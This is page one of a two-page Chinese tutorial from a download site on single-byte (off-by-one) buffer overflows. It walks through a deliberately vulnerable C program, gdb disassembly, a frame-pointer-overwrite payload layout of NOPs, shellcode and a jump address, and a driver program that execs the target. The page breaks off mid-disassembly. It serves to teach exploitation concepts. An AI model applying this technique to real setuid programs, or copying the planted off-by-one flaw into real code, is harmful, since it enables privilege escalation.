⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 单字节缓冲区溢出.txt

📁 可以对黑客编程有一定的了解
💻 TXT
📖 第 1 页 / 共 2 页
字号:
单字节缓冲区溢出



通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容,来使程序跳转到我们的shellcode
处去执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议,其实还是很有可能的,下面我们就来看看这是如何实现的。

我们先写一个有弱点的程序,它只能被溢出一个字节。


ipdev:~/tests$ cat > suid.c
#include 

func(char *sm)
{
          char buffer[256];
           int i;
           for(i=0;i<=256;i++)  //最多可以拷贝257个字节到一个256字节的缓冲区中
                   buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
           if (argc < 2) {
                   printf("missing args\n");
                   exit(-1);
           }
            func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$

我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:


    ipdev:~/tests$ gdb ./suid
    ...
    (gdb) disassemble func
    Dump of assembler code for function func:
    0x8048134 :       pushl  %ebp
    0x8048135 :     movl   %esp,%ebp
    0x8048137 :     subl   $0x104,%esp
    0x804813d :     nop
    0x804813e :    movl   $0x0,0xfffffefc(%ebp)
    0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
    0x8048152 :    jle    0x8048158 
    0x8048154 :    jmp    0x804817c 
    0x8048156 :    leal   (%esi),%esi
    0x8048158 :    leal   0xffffff00(%ebp),%edx
    0x804815e :    movl   %edx,%eax
    0x8048160 :    addl   0xfffffefc(%ebp),%eax
    0x8048166 :    movl   0x8(%ebp),%edx
    0x8048169 :    addl   0xfffffefc(%ebp),%edx
    0x804816f :    movb   (%edx),%cl
    0x8048171 :    movb   %cl,(%eax)
    0x8048173 :    incl   0xfffffefc(%ebp)
    0x8048179 :    jmp    0x8048148 
    0x804817b :    nop
    0x804817c :    movl   %ebp,%esp
    0x804817e :    popl   %ebp
    0x804817f :    ret
    End of assembler dump.
    (gdb)
当call指令被调用时,进程会首先将%eip(下一条要执行的指令的地址)压入堆栈。
然后将%ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中,接着为局部变量分配空间:%esp减小0x104字节(256+4)。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前,我们的
堆栈中的情况如下:

          栈顶(低地址)
          
        |---------|   
    |    i    |        4字节
    |---------|\
    | buff[0] |  \
    |---------|   |
    | buff[1] |   |
    |---------|   |--> 256字节
        | ....... |   |
    |---------|   |
        |buff[255]|  /   
    |---------|/     
    |保存的ebp|        4字节  
    |---------|
    |保存的eip|        4字节
    |---------|
    
     栈底(高地址)
    
这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆栈),
如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。当func()
将要结束时,%ebp被从堆栈中恢复。(见)让我们再看看接下来发生了什么:
(还是利用gdb来反汇编main())

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8048180 : pushl  %ebp
    0x8048181 :     movl   %esp,%ebp
    0x8048183 :     cmpl   $0x1,0x8(%ebp)
    0x8048187 :     jg     0x80481a0 
    0x8048189 :     pushl  $0x8058ad8
    0x804818e :    call   0x80481b8 
    0x8048193 :    addl   $0x4,%esp
    0x8048196 :    pushl  $0xffffffff
    0x8048198 :    call   0x804d598 
    0x804819d :    addl   $0x4,%esp
    0x80481a0 :    movl   0xc(%ebp),%eax
    0x80481a3 :    addl   $0x4,%eax
    0x80481a6 :    movl   (%eax),%edx
    0x80481a8 :    pushl  %edx
    0x80481a9 :    call   0x8048134 
    0x80481ae :    addl   $0x4,%esp
    0x80481b1 :    movl   %ebp,%esp
    0x80481b3 :    popl   %ebp
    0x80481b4 :    ret
    0x80481b5 :    nop
    0x80481b6 :    nop
    0x80481b7 :    nop
    End of assembler dump.
    (gdb)


当func()调用结束后,%ebp将会被拷贝到%esp中(见),这意味着我们可以
改变%esp到其他的值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8048180 : pushl  %ebp
    0x8048181 :     movl   %esp,%ebp
    0x8048183 :     cmpl   $0x1,0x8(%ebp)
    0x8048187 :     jg     0x80481a0 
    0x8048189 :     pushl  $0x8058ad8
    0x804818e :    call   0x80481b8 
    0x8048193 :    addl   $0x4,%esp
    0x8048196 :    pushl  $0xffffffff
    0x8048198 :    call   0x804d598 
    0x804819d :    addl   $0x4,%esp
    0x80481a0 :    movl   0xc(%ebp),%eax
    0x80481a3 :    addl   $0x4,%eax
    0x80481a6 :    movl   (%eax),%edx
    0x80481a8 :    pushl  %edx
    0x80481a9 :    call   0x8048134 
    0x80481ae :    addl   $0x4,%esp
    0x80481b1 :    movl   %ebp,%esp
    0x80481b3 :    popl   %ebp
    0x80481b4 :    ret
    0x80481b5 :    nop
    0x80481b6 :    nop
    0x80481b7 :    nop
    End of assembler dump.
    (gdb) break *0x80481b4
    Breakpoint 2 at 0x80481b4
    (gdb) run `perl -e 'print "A"x257'`
    Starting program: /home/klog/tests/suid `overflow 257`

    Breakpoint 2, 0x80481b4 in main ()
    (gdb) info register esp
    esp            0xbffffd45       0xbffffd45
    (gdb)

在溢出发生后,%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节)。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41

很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中的
%esp的值.当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节),将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作:

    [nops][shellcode][&shellcode][改变%ebp的字节]

这样当溢出发生时堆栈中的情况就是这样的:

          栈顶(低地址)
          
        |---------|   
    |    i    |        4字节
    |---------|\
    | 0x90    |  \
    |---------|   |
    | 0x90    |   |
    |---------|   |--> 256字节
        | ....... |   |
    |---------|   |
        |shellcode|   |
        | ....... |   |
    |---------|   |
    |跳转地址 |  /   
    |---------|/     
    |保存的ebp|        4字节(最低的一个字节被覆盖)
    |---------|
    |保存的eip|        4字节
    |---------|
    
     栈底(高地址)

我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip
中,从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。

    ipdev:~/tests$ cat > fake_exp.c
    #include 
    #include 

    main()
    {
            int i;
            char buffer[1024];
    
            bzero(&buffer, 1024);
            for (i=0;i<=256;i++)    
            {
                    buffer[i] = 'A';
            }
            execl("./suid", "suid", buffer, NULL);
    }
    ^D
    ipdev:~/tests$ gcc fake_exp.c -o fake_exp
    ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
    ...
    (gdb) run
    Starting program: /home/klog/tests/exp2

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x8048090 in ___crt_dummy__ ()
    (gdb) disassemble func
    Dump of assembler code for function func:
    0x8048134 :       pushl  %ebp
    0x8048135 :     movl   %esp,%ebp
    0x8048137 :     subl   $0x104,%esp
    0x804813d :     nop
    0x804813e :    movl   $0x0,0xfffffefc(%ebp)
    0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
    0x8048152 :    jle    0x8048158 
    0x8048154 :    jmp    0x804817c 
    0x8048156 :    leal   (%esi),%esi
    0x8048158 :    leal   0xffffff00(%ebp),%edx
    0x804815e :    movl   %edx,%eax
    0x8048160 :    addl   0xfffffefc(%ebp),%eax
    0x8048166 :    movl   0x8(%ebp),%edx
    0x8048169 :    addl   0xfffffefc(%ebp),%edx
    0x804816f :    movb   (%edx),%cl
    0x8048171 :    movb   %cl,(%eax)
    0x8048173 :    incl   0xfffffefc(%ebp)
    0x8048179 :    jmp    0x8048148 
    0x804817b :    nop
    0x804817c :    movl   %ebp,%esp
    0x804817e :    popl   %ebp

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -